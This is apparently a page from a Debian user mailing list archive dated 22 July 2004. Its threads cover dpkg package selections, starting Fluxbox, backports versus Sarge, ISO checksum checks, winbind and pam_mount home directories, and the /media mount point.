Firestarter
version 0.9xx to Woody, I'll have to work around all the "Issues" for
the
time being.  I may end up just using the scripts and "iptables" commands
Firestarter has generated, as a starting point for a manually scripted
personal firewall implementation.

Thanks to everyone who responded, for your help.


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dpkg/apt question

2004-07-22 Thread Preston Boyington
i have "inherited" an existing debian box and want to change the packages to suit me 
and the office that it will now be used.

i would like to take the installed packages listed from:

dpkg --get-selections > packages.txt

and edit the file to reflect what i actually want/need on the box.

after i get the edited list prepared, is there a command i can issue that will 
instruct apt or dpkg to add/remove the programs to reflect my changes?

on a fresh install i would do:

dpkg --set-selections < packages.txt

then:

apt-get install

but i don't know the command to do this from a existing setup.

would someone shed some light on this for me?

thanks,
Preston



Re: your mail

2004-07-22 Thread Alex Derkach
Add 'exec fluxbox' (without quotes) to the last line of your .xinitrc 
file (should be in $HOME/.xinitrc, if not, make one)
* Tony Uceda Velez ([EMAIL PROTECTED]) wrote:
> Greetings -
> 
> Changing my default desktop manager in Debian has proven a little more
> cumbersome than I thought.  I edited my 
> /etc/X11/default-display-manager file to the absolute path of where the
> fluxbox binary file is.  Upon restarting X, no dice.  Any suggestions to any
> fellow Debian-Fluxbox fans?
> 
> Many thanks.
> 
> 
> Tony UcedaVélez
> Security Analyst
> [EMAIL PROTECTED]
> 877.884.1110
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Backports vs. Sarge

2004-07-22 Thread Matthew T. Atkinson
'ello,

I am in a bit of a quandary with my Woody server and was wondering what
people's thoughts are.

I wanted to compile mod_python so that my MoinMoin Wiki would go
faster.  This required that I install the apache2-threaded-dev package. 
Unfortunately, the version of apache2 from backports.org has moved on
since I installed it (2.0.48 at the time -- and it is now 2.0.50).

The problem I have is that if I upgrade, I will have to move to 2.0.50. 
Seeing as Sarge only has 2.0.49 and may be released soon, I don't want
to upgrade.  This is because I imagine that if Sarge is released and I
have a newer version of apache2, I'll never be able to update my apache2
and get security updates, etc.  The same thing has happened with the
ClamAV packages (sarge has 0.73 and the earliest backport I can find is
0.74).

I really don't know what I should do -- have you got any suggestions?

To be honest, I was thinking of upgrading my whole server to Sarge and
tracking that back down to stable.  The reason for this is that I need
to have a proper Postfix2 (amongst other things) set-up all sorted out
before I move back to uni.  When I go, I don't want to be dist-upgrading
because there would be no way I could fix the box if it goes wrong (I'd
be >100 miles away from it :-)).

The reason I am so apprehensive is that I have never been through a
Debian stable dist-upgrade cycle before and am not sure what to expect. 

I really like Debian and have used it exclusively, after trying most of
the others, for over 1.5 years now (Sid/Sarge desktops and a Woody
server).  These types of issues have been getting me down recently,
though.

I think it would be a great idea to have a stable server release every
six months or year and have the Desktop on a separate track (as that
appears to be one of the more difficult things to stabilise).  This
would mean that servers could be kept reliable but not ancient :-) and
desktops could be released ``when they're done''.  I don't mean to upset
anyone or start a flame war by saying that; it's just an idea that
occurred to me.

Any advice on my current situation would be greatly appreciated.  Thanks
in advance,

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Debian-Fluxbox Q

2004-07-22 Thread Tony Uceda Velez
In my excitement, I forgot a subject in my last envoy of this msg.
Apologies.

Greetings -

Changing my default desktop manager in Debian has proven a little more
cumbersome than I thought.  I edited my 
/etc/X11/default-display-manager file to the absolute path of where the
fluxbox binary file is.  Upon restarting X, no dice.  Any suggestions to any
fellow Debian-Fluxbox fans?

Many thanks.


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[no subject]

2004-07-22 Thread Tony Uceda Velez
Greetings -

Changing my default desktop manager in Debian has proven a little more
cumbersome than I thought.  I edited my 
/etc/X11/default-display-manager file to the absolute path of where the
fluxbox binary file is.  Upon restarting X, no dice.  Any suggestions to any
fellow Debian-Fluxbox fans?

Many thanks.


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Re: Burner app with ISO validation

2004-07-22 Thread Paul Johnson
Please turn your word wrap on to something like 72 columns instead of 1
paragraph; we shouldn't have to reformat just to read it on a standard
80-column window.

Marcus <[EMAIL PROTECTED]> writes:

> Can anyone recommend a DVD burning program which can vaildate the ISO
> checksum after completion?

Well, if you also have the iso.md5, you can eyeball the MD5 of the CD to
the known md5 from the iso.md5.

> I have used K3B, but the current version gives errors with DVDs on
> checking . (DVD burning works fine with Nero.)

Have you tried playing or mounting the DVD?  That would be the easiest
way to see if it works...


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winbind and pam_mount

2004-07-22 Thread koolguy



Hi,
 
I am configuring a system to authenticate users 
against an AD windows 2003 server, and if the user does not have a homedir 
it will automatically be created on the Linux server.
 
Ive managed to do all this using the winbind 
daemon, samba, kerboros (for autherntication) to the AD server.
 
However i would like to take this one step 
forward so that users windows "Home Directories" are also 
automatically mounted upon logon to the linux server, they need to be mounted 
within a mount folder under their Linux homedir .
 
i can do this using pam_mount, but this means i 
need to know exactly which windows server the users homedirectory is 
located, i would like a way for querying the ADS to check which windows 
server the user is on and then automatically mount the windows homedir on the 
linux server.
 
Does anyone have a script or know anyway this can 
be done?
 
cheers and Thanks
 
Kool
 
 
 


Re: /cdrom vs. /media/cdrom

2004-07-22 Thread Paul Johnson
Joey Hess <[EMAIL PROTECTED]> writes:

> Paul Johnson wrote:
>> I don't have a /media, and my laptop, which I just installed Debian on,
>> also doesn't have a /media.  ???
>
> Then you didn't install sarge using a current version of the installer.

OK, I just wasn't paying close attention and didn't notice.

>> I believe the LSB puts removable media in /mnt/fd0, /mnt/scd0, etc.
>> Debian puts the same devices in /floppy, /cdrom0, etc.
>
> LSB goes with the FHS locations in this and generally all cases, and
> recent FHS versions require /media. Using /mnt subdirectories has always
> broken stuff and has never been in the LSB or the FHS.

Ah, OK.  You learn something new every day.


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